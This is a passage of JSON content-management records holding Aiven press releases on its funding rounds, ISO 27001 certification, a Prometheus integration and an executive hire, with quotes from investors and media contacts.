Aiven"}],"markDefs":[],"style":"normal"},{"_key":"CpBSMPU8","_type":"block","children":[{"_key":"6QPucise","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"p0l8dPMS","_type":"block","children":[{"_key":"zyuGLVRG","_type":"span","marks":[],"text":"You can visit "},{"_key":"9DTqutGi","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"gMwWJVeE","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"uaJL9TSe","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"q5yWd9n4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2018-11-26T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: Our platform integrates with Prometheus, a popular open source monitoring and alerting system.","metaTitle":"The Aiven platform now integrates with Prometheus"},"slug":{"_type":"slug","current":"/press/the-aiven-platform-now-integrates-with-prometheus"},"subtitle":"Aiven Press Release: Our platform integrates with Prometheus, a popular open source monitoring and alerting system.","title":"The Aiven platform now integrates with Prometheus"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"64hz69Hf6I5BRdOQ6GslKU","_rev":"ElrRHx5al3kb1PwLXGsk5d","_type":"pressRelease","_updatedAt":"2022-12-02T12:32:06Z","content":[{"_key":"0f6caukc","_type":"block","children":[{"_key":"c5d7e651d2c8","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — September 28, 2021 - "},{"_key":"z2tCA3EJ","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"txAoCTiJ","_type":"span","marks":[],"text":", a software company that combines the best open source technologies with cloud infrastructure, today announced it raised $100M in its Series C, bringing the company’s total investment to $150M at a valuation of now more than $800M. The round was led by Atomico, with participation from Salesforce Ventures and World Innovation Lab as new investors. Lead investors of Aiven’s Series A (Earlybird Venture Capital) and Series B (IVP) also significantly increased their capital commitments to Aiven."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"mHtptOki","_type":"block","children":[{"_key":"rh6YZwdz","_type":"span","marks":[],"text":"Aiven will use the proceeds from the round to bring new products to market, increase "},{"_key":"cYAT2dUb","_type":"span","marks":["m3283373341836"],"text":"contributions to developing open source technologies"},{"_key":"yn2aLMwY","_type":"span","marks":[],"text":" and continue the company’s international expansion. Aiven’s products are universally applicable, and the new investment and new investors will help the company better address underserved markets. The company plans to double its headcount over the next year and launch a formal open source program office."}],"markDefs":[{"_key":"m3283373341836","_type":"link","href":"https://aiven.io/open-source"}],"style":"normal"},{"_key":"ld2lHtsU","_type":"block","children":[{"_key":"xHqPnk9M","_type":"span","marks":[],"text":"“Aiven’s mission is to champion open source, making the lives of developers better in all that we do,” said Oskari Saarenmaa, CEO and co-founder at Aiven. “The most recent funding will enable us to continue adding new service capabilities, grow our team and expand into new markets, as well as more significantly contribute to the open source community.”"}],"markDefs":[],"style":"normal"},{"_key":"V0KO0qFX","_type":"block","children":[{"_key":"hKMp3EgP","_type":"span","marks":[],"text":"For the first time ever in January 2021, "},{"_key":"MfyHhjPq","_type":"span","marks":["m5740090220315"],"text":"the use of open source database management services outstripped that of commercial services"},{"_key":"mDVjs9DX","_type":"span","marks":[],"text":". Open source powers every part of our global economy from home automation and retail analytics to energy metering and more. Many existing tools impose a heavy operational burden if managed in-house. Democratizing access to the best open source technologies, Aiven offers fully-managed services for popular open source projects like Apache Kafka and Cassandra, OpenSearch, M3 and PostgreSQL in the public cloud. With Aiven, companies of all sizes, from innovative startups to global leaders like Comcast, Fiverr, Vidio, Wolt and more, can have a modern, fully-functional open source data infrastructure from different regions in the world in minutes based on their needs with end-to-end security, set-up, maintenance and 24/7 monitoring across all major public cloud platforms."}],"markDefs":[{"_key":"m5740090220315","_type":"link","href":"https://db-engines.com/en/ranking_osvsc"}],"style":"normal"},{"_key":"ajslpY6P","_type":"block","children":[{"_key":"1DzGWdcR","_type":"span","marks":[],"text":"\"We believe Aiven will be the global category winner in providing beautiful open source data infrastructure that just works. Globally and in minutes,\" said Hiro Tamura, Partner at Atomico. “The open source tools that Aiven offers are now the dominant choice for the data needs of global companies, because they are simple, scalable and transparent. Aiven provides a vital service to solve the headaches that come with managing some of these incredible tools in-house and on the cloud, so developers and teams can focus on building apps, not infrastructure.”"}],"markDefs":[],"style":"normal"},{"_key":"RZqzNW4N","_type":"block","children":[{"_key":"XmJNQw3d","_type":"span","marks":[],"text":"To learn more about Aiven, visit "},{"_key":"DX4obim0","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io/"},{"_key":"8l5X8cap","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"BWExqia9","_type":"block","children":[{"_key":"PXOY5MR0","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"TGLaWi5v","_type":"block","children":[{"_key":"sKpKTSF2","_type":"span","marks":[],"text":"Headquartered in Helsinki with offices in Berlin, Sydney, Toronto and Boston, Aiven provides managed open source data technologies, like PostgreSQL, Kafka, and M3, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, we do what we do best; manage cloud data infrastructure. We enable our customers to drive business results from open source that trigger true transformations far beyond their own backyards. Visit us at "},{"_key":"JllRKMoV","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"CFHziN72","_type":"span","marks":[],"text":" and follow "},{"_key":"r86FREYh","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"2t4vHwUB","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"2PV9J0A0","_type":"block","children":[{"_key":"SFeR5Dun","_type":"span","marks":["strong"],"text":"About Atomico"}],"markDefs":[],"style":"normal"},{"_key":"bjofhn3S","_type":"block","children":[{"_key":"bReg32V7","_type":"span","marks":[],"text":"Atomico invests in ambitious tech founders at Series A and beyond with a particular focus on Europe, leveraging deep operational experience to supercharge their growth. Founded in 2006, Atomico has partnered with over 100 ambitious teams - including those at Klarna, Supercell, Graphcore, Compass, MessageBird, Masterclass, Attentive Mobile, Pipedrive and Hinge Health. Atomico's team of founders, investors and operational leaders have been responsible for global expansion, hiring and marketing at companies from Skype and Google to Twitter and Uber. The firm currently has $2.7B in assets under management."}],"markDefs":[],"style":"normal"},{"_key":"ovddsf9h","_type":"block","children":[{"_key":"5rFNhLHm","_type":"span","marks":["strong"],"text":"Media Contact"}],"markDefs":[],"style":"normal"},{"_key":"FW5mqK7H","_type":"block","children":[{"_key":"jrJwfj2K","_type":"span","marks":[],"text":"Megan Gasper Walker Sands megan.gasper@walkersands.com"}],"markDefs":[],"style":"normal"},{"_key":"1EzmqEZ8","_type":"block","children":[{"_key":"nsDzi0eX","_type":"span","marks":[],"text":"Anniina Sulku Head of Communications Aiven anniina.sulku@aiven.io"}],"markDefs":[],"style":"normal"}],"publishedAt":"2021-09-28T09:51:26.702Z","seo":{"_type":"metaData","metaDescription":"With its most recent funding round, Aiven plans to deepen its investment in open source software and further expand globally. ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven raises $100M Series C to expand global open source"},"slug":{"_type":"slug","current":"/press/aiven-raises-usd100m-series-c-to-expand-global-open-source-innovation"},"subtitle":"With its most recent funding round, Aiven plans to deepen its investment in open source software and further expand globally. ","title":"Aiven raises $100M Series C to expand global open source innovation"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"7ArtGbOMhAwmM0HylrUhNr","_rev":"D5XaaTUHBf3Q5sJfaCajq3","_type":"pressRelease","_updatedAt":"2023-08-04T09:24:44Z","body":"__Helsinki, Finland__\n\nAfter a thorough certification and audit process, Aiven has earned its ISO/IEC 27001:2013 certificate, making it one of the very few Database as a Service (DBaaS) providers to attain certification.\n\nEstablished by the International Organization of Standardization, the internationally-recognized ISO27001 standard sets requirements for the implementation and operation of the holder’s Information Security Management System (ISMS).\n\nTo attain a certificate, an organization must undergo an audit performed by an independent and accredited 3rd party, lending confidence to our customers that Aiven’s information security is at the expected level. Aiven’s CTO, Heikki Nousiainen explains, \"Attested compliance with the widely accepted ISO27001 standard was a natural step for us. It is another confirmation that we're fully committed to ensuring the confidentiality, integrity and availability of our customer services and data.\"\n\nFor more information on what the standard is, how it informs Aiven’s ISMS, and why Aiven underwent the certification process, visit our latest blog post [here](https://aiven.io/blog/aiven-earns-iso-27001-certification/). If you’d like to view our certificate, you can access it at our [security and compliance page](https://aiven.io/security-compliance).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"0aeddd0d8240","_type":"block","children":[{"_key":"3733fabf8174","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — June 4, 2018- "},{"_key":"GYVXfrnT","_type":"span","marks":[],"text":"After a thorough certification and audit process, Aiven has earned its ISO/IEC 27001:2013 certificate, making it one of the very few Database as a Service (DBaaS) providers to attain certification."}],"markDefs":[],"style":"normal"},{"_key":"wUd2TfVL","_type":"block","children":[{"_key":"4QUPzPoR","_type":"span","marks":[],"text":"Established by the International Organization of Standardization, the internationally-recognized ISO27001 standard sets requirements for the implementation and operation of the holder’s Information Security Management System (ISMS)."}],"markDefs":[],"style":"normal"},{"_key":"wdT9M5Bo","_type":"block","children":[{"_key":"wPgJLw8Z","_type":"span","marks":[],"text":"To attain a certificate, an organization must undergo an audit performed by an independent and accredited 3rd party, lending confidence to our customers that Aiven’s information security is at the expected level. Aiven’s CTO, Heikki Nousiainen explains, \"Attested compliance with the widely accepted ISO27001 standard was a natural step for us. It is another confirmation that we're fully committed to ensuring the confidentiality, integrity and availability of our customer services and data.\""}],"markDefs":[],"style":"normal"},{"_key":"XmPfeLRK","_type":"block","children":[{"_key":"VtCfHlo0","_type":"span","marks":[],"text":"For more information on what the standard is, how it informs Aiven’s ISMS, and why Aiven underwent the certification process, visit our latest blog post "},{"_key":"7a7ca4b77307","_type":"span","marks":["9962a333b582"],"text":"here"},{"_key":"a5469f56e7ad","_type":"span","marks":[],"text":". If you’d like to view our certificate, you can access it at our "},{"_key":"c799f2e5934c","_type":"span","marks":["5bdede7b09f0"],"text":"security and compliance page"},{"_key":"c4184d425622","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"9962a333b582","_type":"internalLink","internalLink":{"_ref":"2vn5b8l7Fb2xZV3ZcqIr2B","_type":"reference"}},{"_key":"5bdede7b09f0","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"},{"_key":"TfoCYjrP","_type":"block","children":[{"_key":"cBLz2RGd","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"vJ0lbcXZ","_type":"block","children":[{"_key":"NmQzfXyr","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"PnL7CIP7","_type":"block","children":[{"_key":"VvUpbkk1","_type":"span","marks":[],"text":"You can visit "},{"_key":"gjMLl6Xs","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"DNjfAhNR","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"H0VgB6q6","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"d83qDT9O","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2018-06-04T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: In 2018, we earned the ISO/IEC 27001:2013 certificate, attesting to our commitment to data and service security, integrity and confidentiality.","metaTitle":"Aiven commits to information security with ISO27001 certification"},"slug":{"_type":"slug","current":"/press/aiven-commits-to-information-security-with-iso27001-certification"},"subtitle":"Aiven Press Release: In 2018, we earned the ISO/IEC 27001:2013 certificate, attesting to our commitment to data and service security, integrity and confidentiality.","title":"Aiven commits to information security with ISO27001 certification"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"7CM0J3KpQEwaHs1momWrt6","_rev":"THDGXgbtbTWNUZ8wxZjqEx","_type":"pressRelease","_updatedAt":"2023-05-15T13:17:42Z","body":"__Boston, Massachusetts__\n\n[Aiven](https://aiven.io), a startup that combines the best open source technologies with cloud infrastructure, announced that Larry Irvin joined the company as the new VP and general manager of its Americas operation. Irvin will be based out of Boston and head up the sales teams across the region with the goal of building out a sales network throughout the Americas, starting with Boston. He is the first major addition to the Aiven executive leadership outside of the company’s headquarters in Helsinki, Finland.\n\nThis strategic move follows Aiven’s recent [Series B](https://aiven.io/press/aiven-raises-40-million-series-b/), during which the company raised $40 million, bringing its total funding to $50 million. The funding will be used to expand the company’s footprint throughout the Americas, including hiring additional staff and opening an office in the San Francisco Bay area. Irvin plans to open additional regional sales offices across the U.S., first establishing support and sales teams in cities along the East Coast before stretching further West.\n\n“The culture that Aiven fosters in its Helsinki office is something I connected with and is what I want to bring to the U.S.,” Irvin said. “The company is in a thrilling growth phase, recently announcing a big Series B, and I couldn’t pass up the opportunity to lead Aiven’s growth initiatives in the Americas.”\n\nIrvin brings more than 25 years of sales and management experience with him to Aiven, and one of his main areas of expertise includes building sales networks from the ground up. Prior to joining Aiven, Irvin served as vice president of Northeast regional sales at Actifio, a cloud data management company, where he restructured the sales team and delivered triple digit growth. Other notable experience includes acting as the director of U.S. acquisition sales at Hewlett Packard Enterprise and the director of sales in New England at CommVault.\n\n“We’re thrilled to have Larry join the team here at Aiven,” said Oskari Saarenmaa, CEO and co-founder at Aiven. “His track record of building high-performance sales divisions for tech companies in the U.S. is impressive. That’s a big reason why we brought him on board, because we see tremendous growth potential in the Americas.”\n\nTo learn more about Aiven’s leadership team, visit https://aiven.io/about.\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, Berlin and Sydney, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"mInDgazT","_type":"block","children":[{"_key":"8dfb4ad7c13a","_type":"span","marks":["strong"],"text":"BOSTON, Massachusetts  — February 26, 2020-"},{"_key":"YIWMOp0G","_type":"span","marks":["m3875742048231"],"text":"Aiven"},{"_key":"lee4ADjQ","_type":"span","marks":[],"text":", a startup that combines the best open source technologies with cloud infrastructure, announced that Larry Irvin joined the company as the new VP and general manager of its Americas operation. Irvin will be based out of Boston and head up the sales teams across the region with the goal of building out a sales network throughout the Americas, starting with Boston. He is the first major addition to the Aiven executive leadership outside of the company’s headquarters in Helsinki, Finland."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"S0ShDNkg","_type":"block","children":[{"_key":"cxv7WDP0","_type":"span","marks":[],"text":"This strategic move follows Aiven’s recent "},{"_key":"YeHy269f","_type":"span","marks":["m792217054649"],"text":"Series B"},{"_key":"vt7irG1J","_type":"span","marks":[],"text":", during which the company raised $40 million, bringing its total funding to $50 million. The funding will be used to expand the company’s footprint throughout the Americas, including hiring additional staff and opening an office in the San Francisco Bay area. Irvin plans to open additional regional sales offices across the U.S., first establishing support and sales teams in cities along the East Coast before stretching further West."}],"markDefs":[{"_key":"m792217054649","_type":"link","href":"https://www.tfir.io/aiven-raises-40-million-in-series-b-funding/"}],"style":"normal"},{"_key":"5hsKEiNY","_type":"block","children":[{"_key":"t2oDVdH7","_type":"span","marks":[],"text":"“The culture that Aiven fosters in its Helsinki office is something I connected with and is what I want to bring to the U.S.,” Irvin said. “The company is in a thrilling growth phase, recently announcing a big Series B, and I couldn’t pass up the opportunity to lead Aiven’s growth initiatives in the Americas.”"}],"markDefs":[],"style":"normal"},{"_key":"VC8EW8CS","_type":"block","children":[{"_key":"81zZLpew","_type":"span","marks":[],"text":"Irvin brings more than 25 years of sales and management experience with him to Aiven, and one of his main areas of expertise includes building sales networks from the ground up. Prior to joining Aiven, Irvin served as vice president of Northeast regional sales at Actifio, a cloud data management company, where he restructured the sales team and delivered triple digit growth. Other notable experience includes acting as the director of U.S. acquisition sales at Hewlett Packard Enterprise and the director of sales in New England at CommVault."}],"markDefs":[],"style":"normal"},{"_key":"Jkz1oafN","_type":"block","children":[{"_key":"wbLDMaez","_type":"span","marks":[],"text":"“We’re thrilled to have Larry join the team here at Aiven,” said Oskari Saarenmaa, CEO and co-founder at Aiven. “His track record of building high-performance sales divisions for tech companies in the U.S. is impressive. That’s a big reason why we brought him on board, because we see tremendous growth potential in the Americas.”"}],"markDefs":[],"style":"normal"},{"_key":"m5NRniTb","_type":"block","children":[{"_key":"ygZBSiLf","_type":"span","marks":[],"text":"To learn more about Aiven’s leadership team, visit https://aiven.io/about."}],"markDefs":[],"style":"normal"},{"_key":"66oMhO01","_type":"block","children":[{"_key":"glQPsKxg","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"lZtSvwn4","_type":"block","children":[{"_key":"KZ41uTpI","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, Berlin and Sydney, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"JSACg0sm","_type":"block","children":[{"_key":"LvSGl7OI","_type":"span","marks":[],"text":"You can visit "},{"_key":"8Y0Wr4hj","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"SHol2GM4","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"1vbNBT7V","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"6CL1z2r9","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2020-02-26T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven Press Release: In February 2020, Larry Irvin joined the company as the new VP and general manager of its Americas operation.","metaTitle":"Larry Irvin appointed Aiven's VP and GM for the Americas"},"slug":{"_type":"slug","current":"/press/larry-irvin-joins-aiven-executive-team"},"subtitle":"Aiven Press Release: In February 2020, Larry Irvin joined the company as the new VP and general manager of its Americas operation.","title":"Larry Irvin joins Aiven’s executive team as VP and GM of the Americas"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"7Mc3njepm01ZFFO6SkDnDx","_rev":"fuFsKkOoAJwNVpPrIJwUH0","_type":"pressRelease","_updatedAt":"2022-12-07T13:41:42Z","content":[{"_key":"CDhp7G3V","_type":"block","children":[{"_key":"jTvwvM45","_type":"span","marks":["em"],"text":"Aiven’s existing investors increase capital investment to double down the company’s exponential growth and global open source innovation"}],"markDefs":[],"style":"normal"},{"_key":"Ntj7AXn7","_type":"block","children":[{"_key":"z1KYSdQ1","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — October 19, 2021-"},{"_key":"b4M0PBOf","_type":"span","marks":[],"text":" "},{"_key":"VUNqbxLc","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"7a8bHexO","_type":"span","marks":[],"text":", a software company that combines the best open source technologies with cloud infrastructure, today announced a $60M Series C extension at a $2B valuation, bringing the total Series C round to $160M. This extension brings Aiven's total funding to date to $210M. The round was co-led by existing investors World Innovation Lab and IVP, and with participation from Atomico and others. In a testament to the growth and potential Aiven showcases in its capabilities, a number of investors increased their capital commitments to Aiven just seven months after the company’s successful "},{"_key":"X1a4dG6k","_type":"span","marks":["m12595335872254"],"text":"$100 million Series C"},{"_key":"nKAyuleN","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m12595335872254","_type":"link","href":"https://aiven.io/press/aiven-raises-usd100m-series-c-to-expand-global-open-source-innovation"}],"style":"normal"},{"_key":"vhrirU70","_type":"block","children":[{"_key":"ggcMdSbx","_type":"span","marks":[],"text":"As the latest unicorn of the Nordics, Aiven is growing its revenue over 100% year on year and aims to continue maximizing its growth in a journey to becoming the global category leader in managed cloud data infrastructure. Aiven currently has more than 230 employees scaling global hubs from Helsinki, reaching Berlin, Boston, Toronto and Sydney. Following the fundraise, the company will expand its reach in the Asia-Pacific region by opening an office in Singapore."}],"markDefs":[],"style":"normal"},{"_key":"b4gLF6nH","_type":"block","children":[{"_key":"tlaCdrRJ","_type":"span","marks":[],"text":"“This is an exciting step for Aiven on our journey and indicates that our team is successfully delivering on our mission to champion open source and make the lives of developers better in all that we do,” said Oskari Saarenmaa, CEO and co-founder at Aiven. “The additional funding from our existing investors will allow us to rapidly expand our global footprint, significantly contribute to the open source community and support the growth of other tech startups.”"}],"markDefs":[],"style":"normal"},{"_key":"80PsgQer","_type":"block","children":[{"_key":"ighnO4kR","_type":"span","marks":[],"text":"In an effort to give back to the open source community, Aiven continues its open source investment with its recently launched open source program office, solely focused on contributing to the projects that are key to Aiven’s customers. Additionally, Aiven will support promising entrepreneurs and launch its own "},{"_key":"BMOViPxN","_type":"span","marks":["m1900822063714"],"text":"startup program"},{"_key":"0rIrDybZ","_type":"span","marks":[],"text":" in December. The program participants will get access to Aiven’s expertise and data platform for free for one year."}],"markDefs":[{"_key":"m1900822063714","_type":"link","href":"https://aiven.io/cluster"}],"style":"normal"},{"_key":"9N4lNTAe","_type":"block","children":[{"_key":"O7bPfOyg","_type":"span","marks":[],"text":"“Aiven has grown rapidly and become an emerging leader in the large, fast-growing data cloud market,” said Tsune Shirota, Partner at World Innovation Lab. “Aiven’s expertise in open source and cloud is deeply resonating with customers, as seen by its quickly growing and diverse customer base of over 700 companies in over 50 countries. We are excited to significantly increase our commitment and look forward to supporting Aiven’s growth and its effort to drive further innovation in the data cloud.”"}],"markDefs":[],"style":"normal"},{"_key":"rfhSPIVC","_type":"block","children":[{"_key":"iiRkcAIb","_type":"span","marks":[],"text":"“IVP originally invested in Aiven in January of 2020 behind a belief that the company's outstanding product and platform would enable companies of all sizes to manage their exploding data needs easily and efficiently,” said Eric Liaw, General Partner at IVP. “Under Oskari's leadership, the Aiven team is delivering tremendous value for their customers, and the proof is that the company has more than quadrupled since our original investment and growth is accelerating.”"}],"markDefs":[],"style":"normal"},{"_key":"K0wJvFVO","_type":"block","children":[{"_key":"MzauSHLV","_type":"span","marks":[],"text":"With Aiven’s fully-managed services for popular open source projects like Apache Kafka and Cassandra, OpenSearch, M3, PostgreSQL and more in the public cloud, businesses can have a modern, fully-functional open source data infrastructure from anywhere in the world in minutes. According to a recent "},{"_key":"k4sWpUs1","_type":"span","marks":["m10172113224109"],"text":"IDC whitepaper*"},{"_key":"YoEAuLt6","_type":"span","marks":[],"text":", companies leveraging Aiven’s offerings report a 340% ROI over three years thanks to reduced cost of using open source solutions, increased development team efficiency, as well as increased revenue through enhanced agility and scalability."}],"markDefs":[{"_key":"m10172113224109","_type":"link","href":"https://landing.aiven.io/whitepapers/the-business-value-of-aiven-data-cloud-solutions/"}],"style":"normal"},{"_key":"NQWnXykj","_type":"block","children":[{"_key":"Qet2e9QS","_type":"span","marks":[],"text":"For more information on Aiven, visit "},{"_key":"tYs87CvY","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io/"},{"_key":"UR3gtIcm","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"Jfbqn3P0","_type":"block","children":[{"_key":"GGi6dmMT","_type":"span","marks":[],"text":"* "},{"_key":"Iezwqku8","_type":"span","marks":["em"],"text":"Source: IDC Business Value Snapshot, sponsored by Aiven, The Business Value of Aiven Data Cloud, doc #US48198621, August 2021"}],"markDefs":[],"style":"normal"},{"_key":"E6Mj1JoJ","_type":"block","children":[{"_key":"54rnnZrP","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"oooBo1fC","_type":"block","children":[{"_key":"uIROgmpP","_type":"span","marks":[],"text":"Headquartered in Helsinki and hubs in Berlin, Boston, Toronto and Sydney, Aiven provides managed open source data technologies, like PostgreSQL, Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. To learn more about Aiven, visit "},{"_key":"gdljrJV2","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"QZK4vfqL","_type":"span","marks":[],"text":" and follow "},{"_key":"TZH0kUDi","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"s9HGR8D8","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"0PAhd8Ny","_type":"block","children":[{"_key":"XBueBvzs","_type":"span","marks":["strong"],"text":"About World Innovation Lab (WiL)"},{"_key":"WVTRUyDN","_type":"span","marks":[],"text":" World Innovation Lab (WiL) is a US \u0026 Japan-based venture capital firm with capital from governments and leading global corporations in Japan and throughout Asia, including Sony, Suzuki, NTT, KDDI, and 7-Eleven. WiL helps US startups expand to Japan and Asia, and Japanese startups expand globally. With our corporate investors as partners, we invest in digital transformation. WiL direct company investments include Aiven, Asana, Auth0, DataRobot, Kong, MURAL, Sendbird, Wise, and Unqork. In addition to direct investment, WiL invests in exceptional venture funds - both established and emerging. Our mission is to be the bridge between startups and corporates across the globe - starting with Japan and the US. For more, visit "},{"_key":"2rysH0dy","_type":"span","marks":["m10431539491147"],"text":"wilab.com"},{"_key":"9zJxlO9k","_type":"span","marks":[],"text":" or "},{"_key":"RBUkTnme","_type":"span","marks":["m12921310165847"],"text":"twitter.com/wilabcom"}],"markDefs":[{"_key":"m10431539491147","_type":"link","href":"https://wilab.com/"},{"_key":"m12921310165847","_type":"link","href":"https://twitter.com/wilabcom"}],"style":"normal"},{"_key":"S5QtPVMI","_type":"block","children":[{"_key":"TZfApLOZ","_type":"span","marks":["strong"],"text":"About IVP"}],"markDefs":[],"style":"normal"},{"_key":"k8Lndc72","_type":"block","children":[{"_key":"SMD7jOWo","_type":"span","marks":[],"text":"Founded in 1980, IVP is one of the premier later-stage venture capital and growth equity firms in the United States. IVP has invested in over 400 companies, 126 of which have gone public. IVP is one of the top-performing firms in the industry and has a 40-year IRR of 43.1%. IVP specializes in venture growth investments, industry rollups, founder liquidity transactions, and select public market investments. IVP investments include such notable companies as Amplitude (AMPL), AppDynamics (CSCO), Attentive, Brex, Coinbase (COIN), Compass (COMP), CrowdStrike (CRWD), Datadog (DDOG), Discord, Dropbox (DBX), GitHub (MSFT), Glossier, Grammarly, HashiCorp, Hims \u0026 Hers (HIMS), Hopin, Klarna, LegalZoom (LZ), Looker (GOOGL), Marketo (MKTO), MasterClass, Mindbody (MB), MuleSoft (CRM), Netflix (NFLX), Niantic, Podium, Robinhood (HOOD), Rubrik, Slack (WORK), Snap (SNAP), Supercell (Tencent), Twitter (TWTR), UiPath (PATH), Wise (WISE), ZipRecruiter (ZIP), and Zynga (ZNGA). For more information, visit "},{"_key":"sOkhmx9g","_type":"span","marks":["m14481166898348"],"text":"www.ivp.com"},{"_key":"u0IGIIc8","_type":"span","marks":[],"text":" or follow IVP on Twitter "},{"_key":"JPUpN3XJ","_type":"span","marks":["m8680393508200"],"text":"@ivp"},{"_key":"99vXRyb4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m14481166898348","_type":"link","href":"https://www.ivp.com/"},{"_key":"m8680393508200","_type":"link","href":"https://twitter.com/ivp"}],"style":"normal"},{"_key":"6J9l7gek","_type":"block","children":[{"_key":"fjwc0DQ5","_type":"span","marks":["strong"],"text":"Media Contact"}],"markDefs":[],"style":"normal"},{"_key":"46KRAbTa","_type":"block","children":[{"_key":"fBTujumw","_type":"span","marks":[],"text":"Megan Gasper - Walker Sands - megan.gasper@walkersands.com"}],"markDefs":[],"style":"normal"},{"_key":"e84VWBoK","_type":"block","children":[{"_key":"Rh4dPw8D","_type":"span","marks":[],"text":"Anniina Sulku - Head of Communications, Aiven - anniina.sulku@aiven.io"}],"markDefs":[],"style":"normal"}],"publishedAt":"2021-10-19T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"With its most recent funding round, Aiven plans to deepen its investment in open source software and further expand globally. ","metaTitle":"Aiven Achieves $2B Unicorn Valuation with its Series 